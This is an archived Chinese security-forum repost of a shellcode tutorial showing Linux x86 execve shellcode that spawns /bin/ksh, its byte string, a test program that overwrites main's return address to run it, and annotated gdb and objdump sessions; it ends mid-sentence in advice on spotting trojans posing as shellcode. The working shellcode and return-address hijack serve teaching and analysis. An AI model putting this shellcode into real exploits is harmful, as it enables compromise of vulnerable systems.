邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2005-5-10 17:25

[转载]shellcode技术探讨续一

  信息来源:xfocus

概述:

   本文旨在验证前文几个问题所在,当时我在一旁加了注解,
   可能有朋友觉得理解有点问题,看了这篇就没问题了。
   还有就是针对以前有人问过的,如何得到shellcode的汇编
   代码,给出了实际例子。文中详细注解了使用到的gdb命令
   集合,如果你用过debug/softice,就很容易理解。不过说
   实话,gdb的帮助(即使是那些翻译过来的)比dbx要糟,幸
   好用过dbx。

测试:

   RedHat 6.0/Intel PII

目录:

   1. 验证exit()不是必要的
   2. vi shelltest.c
   3. gdb使用举例(待增加)
   4. 利用objdump直接查看shellcode的汇编代码
   5. 使用外来shellcode时要注意的问题

1. 验证exit()不是必要的

shellcode探讨之一中第6条目,提到那个exit()系统调用是不必要的。
可能有朋友觉得不可信,我就把有关它的部分去掉,略微调整一下
代码再演示一番。

vi shellcodeasm.c

int main ()
{
   __asm__
   ("
      jmp   0x18              # 3 bytes
      popl  %esi              # 1 byte
      movl  %esi,0x9(%esi)        # 3 bytes
      xorl  %eax,%eax           # 2 bytes
      movb  %eax,0x8(%esi)        # 3 bytes
      movl  %eax,0xd(%esi)        # 3 bytes
      movb  $0xb,%al            # 2 bytes
      movl  %esi,%ebx           # 2 bytes
      leal  0x9(%esi),%ecx        # 3 bytes
      leal  0xd(%esi),%edx        # 3 bytes
      int   $0x80              # 2 bytes
      call  -0x1d              # 5 bytes
      .string \"/bin/ksh\"        # 9 bytes
                           # 41 bytes total
   ");
}

[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main

objdump -j .text -Sl shellcodeasm | more
/main

08048398 :
main():
/home/scz/src/shellcodeasm.c:2
{
8048398:     55               pushl  %ebp
8048399:     89 e5             movl  %esp,%ebp
/home/scz/src/shellcodeasm.c:3
   __asm__
804839b:     eb 18             jmp   80483b5
804839d:     5e               popl  %esi
804839e:     89 76 09           movl  %esi,0x9(%esi)
80483a1:     31 c0             xorl  %eax,%eax
80483a3:     88 46 08           movb  %al,0x8(%esi)
80483a6:     89 46 0d           movl  %eax,0xd(%esi)
80483a9:     b0 0b             movb  $0xb,%al
80483ab:     89 f3             movl  %esi,%ebx
80483ad:     8d 4e 09           leal  0x9(%esi),%ecx
80483b0:     8d 56 0d           leal  0xd(%esi),%edx
80483b3:     cd 80             int   $0x80
80483b5:     e8 e3 ff ff ff       call  804839d
80483ba:     2f               das   
80483bb:     62 69 6e           boundl 0x6e(%ecx),%ebp
80483be:     2f               das   
80483bf:     6b 73 68 00         imull  $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:20
   ("
      jmp   0x18              # 3 bytes
      popl  %esi              # 1 byte
      movl  %esi,0x9(%esi)        # 3 bytes
      xorl  %eax,%eax           # 2 bytes
      movb  %eax,0x8(%esi)        # 3 bytes
      movl  %eax,0xd(%esi)        # 3 bytes
      movb  $0xb,%al            # 2 bytes
      movl  %esi,%ebx           # 2 bytes
      leal  0x9(%esi),%ecx        # 3 bytes
      leal  0xd(%esi),%edx        # 3 bytes
      int   $0x80              # 2 bytes
      call  -0x1d              # 5 bytes
      .string \"/bin/ksh\"        # 9 bytes
                           # 41 bytes total
   ");
}
80483c3:     c9               leave  
80483c4:     c3               ret   
80483c5:     90               nop

整理shellcode如下:

eb 18 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b 89 f3 8d 4e 09
8d 56 0d cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3

2. vi shelltest.c

char shellcode[] =
   "\xeb\x18\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b\x89\xf3\x8d\x4e\x09"
   "\x8d\x56\x0d\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x00\xc9\xc3";

int main ()
{
   int * ret;  /* 当前esp指向的地址保存ret的值 */

   ret    = ( int * )&ret + 2;  /* 得到 esp + 2 * 4,那是返回地址IP */
   ( *ret ) = ( int )shellcode;  /* 修改了 main() 函数的返回地址,那是很重要的一步 */
}

[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>

说明什么?我们的结论是正确的。exit()不过是一种附加的保护措施,免得你在
别人机器上搞砸的时候来个core dump。我个人建议还是留下这个exit(),增加不
了几个字节的。

3. gdb使用举例(待增加)

[scz@ /home/scz/src]> gdb shelltest
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048398 :     pushl  %ebp
0x8048399 :    movl  %esp,%ebp
0x804839b :    subl  $0x4,%esp
0x804839e :    leal  0xfffffffc(%ebp),%eax
0x80483a1 :    leal  0x8(%eax),%edx
0x80483a4 :   movl  %edx,0xfffffffc(%ebp)
0x80483a7 :   movl  0xfffffffc(%ebp),%eax
0x80483aa :   movl  $0x8049440,(%eax)
0x80483b0 :   leave  
0x80483b1 :   ret
End of assembler dump.
(gdb) break main < -- -- -- 设置断点
Breakpoint 1 at 0x804839e
(gdb) run < -- -- -- 运行
Starting program: /home/scz/src/shelltest

Breakpoint 1, 0x804839e in main ()
(gdb) jump *main+12 < -- -- -- 运行到 main+12 停下来
Continuing at 0x80483a4.

Program exited with code 064.
(gdb) info bre < -- -- -- 查看断点
Num Type        Disp Enb Address   What
1  breakpoint    keep y  0x0804839e  
      breakpoint already hit 1 time
(gdb) kill < -- -- -- 终止调试当前程序
(gdb) d 1 < -- -- -- 删除1号断点
(gdb) break *main+18
Breakpoint 2 at 0x80483aa
(gdb) inf b
Num Type        Disp Enb Address   What
2  breakpoint    keep y  0x080483aa  
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/scz/src/shelltest

Breakpoint 2, 0x80483aa in main ()
(gdb) inf reg < -- -- -- 查看寄存器
    eax: 0xbffffd0c -1073742580 < -- -- -- eax存放着main()返回地址所在地址
    ecx:  0x8048398  134513560
    edx: 0xbffffd0c -1073742580
    ebx: 0x401041b4  1074807220
    esp: 0xbffffd04 -1073742588
    ebp: 0xbffffd08 -1073742584
    esi: 0xbffffd54 -1073742508
    edi:      0x1        1
    eip:  0x80483aa  134513578 < -- -- -- 注意这里eip等于断点地址
  eflags:    0x282 IOPL: 0; flags: SF IF
orig_eax: 0xffffffff       -1
    cs:     0x23       35
    ss:     0x2b       43
    ds:     0x2b       43
    es:     0x2b       43
    fs:      0x0        0
    gs:      0x0        0
(gdb) x/32bx $ebp - 16 < -- -- -- 查看堆栈,采用16进制字节表达方式
0xbffffcf8:    0x08   0xfd   0xff   0xbf   0x8b   0x83   0x04   0x08
0xbffffd00:    0x6c   0x94   0x04   0x08   0x0c   0xfd   0xff   0xbf
0xbffffd08:    0x28   0xfd   0xff   0xbf   0xb3   0x1c   0x03   0x40
0xbffffd10:    0x01   0x00   0x00   0x00   0x54   0xfd   0xff   0xbf
(gdb) stepi < -- -- -- 单步执行一条汇编指令,进入子程序
0x80483b0 in main ()
(gdb) inf reg
    eax: 0xbffffd0c -1073742580 < -- -- -- 应该检查0xbffffd0c的内容
    ecx:  0x8048398  134513560
    edx: 0xbffffd0c -1073742580
    ebx: 0x401041b4  1074807220
    esp: 0xbffffd04 -1073742588
    ebp: 0xbffffd08 -1073742584
    esi: 0xbffffd54 -1073742508
    edi:      0x1        1
    eip:  0x80483b0  134513584 < -- -- -- eip变更
  eflags:    0x382 IOPL: 0; flags: SF TF IF
orig_eax: 0xffffffff       -1
    cs:     0x23       35
    ss:     0x2b       43
    ds:     0x2b       43
    es:     0x2b       43
    fs:      0x0        0
    gs:      0x0        0
(gdb) x/4bx $eax < -- -- -- 检查0xbffffd0c的内容
0xbffffd0c:    0x40   0x94   0x04   0x08
(gdb) stepi
0x80483b1 in main ()
(gdb) stepi < -- -- -- 执行ret指令,流程转入我们的shellcode
0x8049440 in shellcode ()
(gdb) disas $eip $eip+31 < -- -- -- 反汇编shellcode中的31个字节
Dump of assembler code from 0x8049440 to 0x804945f:
0x8049440 :  jmp   0x804945a
0x8049442 :      popl  %esi
0x8049443 :      movl  %esi,0x9(%esi)
0x8049446 :      xorl  %eax,%eax
0x8049448 :      movb  %al,0x8(%esi)
0x804944b :     movl  %eax,0xd(%esi)
0x804944e :     movb  $0xb,%al
0x8049450 :     movl  %esi,%ebx
0x8049452 :     leal  0x9(%esi),%ecx
0x8049455 :     leal  0xd(%esi),%edx
0x8049458 :     int   $0x80
0x804945a :     call  0x8049442
End of assembler dump.
(gdb) x/16s $eip+31 < -- -- -- 以字符串形式查看内存
0x804945f :      "/bin/ksh"
... ...
(gdb) nexti 8 < -- -- -- 单步执行8次汇编指令,不进入子程序
0x8049450 in shellcode ()
(gdb) x/16bx $esi < -- -- -- 观察前文第14条目中提到的内存状况
0x804945f :     0x2f   0x62   0x69   0x6e   0x2f   0x6b   0x73   0x68
0x8049467 :     0x00   0x5f   0x94   0x04   0x08   0x00   0x00   0x00
                           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(gdb) quit
The program is running.  Exit anyway? (y or n) y
[scz@ /home/scz/src]>

啊哈,是不是一路做下来了呢?找回点什么感觉,对了对了,正是这种感觉,
不就是在玩debug嘛,没什么可怕的,很简单的gdb。当然咯,如果你要调试
多线程程序,可能要麻烦点,回头有机会我写篇gdb调试多线程实战上来。

4. 利用objdump直接查看shellcode的汇编代码

objdump -j .data -D shelltest | more
/shellcode

08049440 :
8049440:     eb 18             jmp   804945a
8049442:     5e               popl  %esi
8049443:     89 76 09           movl  %esi,0x9(%esi)
8049446:     31 c0             xorl  %eax,%eax
8049448:     88 46 08           movb  %al,0x8(%esi)
804944b:     89 46 0d           movl  %eax,0xd(%esi)
804944e:     b0 0b             movb  $0xb,%al
8049450:     89 f3             movl  %esi,%ebx
8049452:     8d 4e 09           leal  0x9(%esi),%ecx
8049455:     8d 56 0d           leal  0xd(%esi),%edx
8049458:     cd 80             int   $0x80
804945a:     e8 e3 ff ff ff       call  8049442
804945f:     2f               das   
8049460:     62 69 6e           boundl 0x6e(%ecx),%ebp
8049463:     2f               das   
8049464:     6b 73 68 00         imull  $0x0,0x68(%ebx),%esi
8049468:     c9               leave  
8049469:     c3               ret

[scz@ /home/scz/src]> objdump -j .data -s shelltest | more

shelltest:    file format elf32-i386

Contents of section .data:
8049420 00000000 7c940408 00000000 00000000  ....|...........
8049430 00000000 00000000 00000000 00000000  ................
8049440 eb185e89 760931c0 88460889 460db00b  ..^.v.1..F..F...
8049450 89f38d4e 098d560d cd80e8e3 ffffff2f  ...N..V......../
8049460 62696e2f 6b736800 c9c30000        bin/ksh.....   
[scz@ /home/scz/src]>

5. 使用外来shellcode时要注意的问题

我们必须注意到,绝大部分shellcode都是以jmp指令开始的,那么第一个字节
应该是0xeb,即使不以jmp开始,也应该有call和int指令出现,0xe8和0xcd。
要是一段shellcode没有这三个字节出现,那很值得怀疑,到底是shellcode
还是木马。shellcode一般都是短小精悍的,如果shellcode很长,也要怀疑
它的功能到底是什么,此时应该用objdump来查看这只混蛋,关于objdump的
使用前面已经给了不少例子,完整的说明请查看我贴过的

页: [1]
© 1999-2008 EvilOctal Security Team